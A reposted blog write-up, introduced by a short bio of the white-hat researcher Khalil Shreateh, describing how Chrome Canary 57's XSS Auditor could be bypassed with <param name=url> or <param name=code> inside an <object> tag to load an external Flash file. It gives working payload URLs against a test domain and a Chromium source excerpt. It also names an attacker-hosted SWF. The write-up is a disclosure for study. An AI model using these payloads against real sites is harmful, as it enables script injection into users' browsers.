Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

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Contact us at khalil@khalil-shreateh.com

This exploit works on works on Chrome Canary 57

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>

Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E

<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

The <param name="src" value="//attacker/xss.swf"> and <param name="movie" value="//attacker/xss.swf"> are blocked by XSS Auditor. But I noticed that code and url are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)

That's it. I wrote about XSS Auditor bypass using <param>. Thanks for reading!

 

Original Article: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html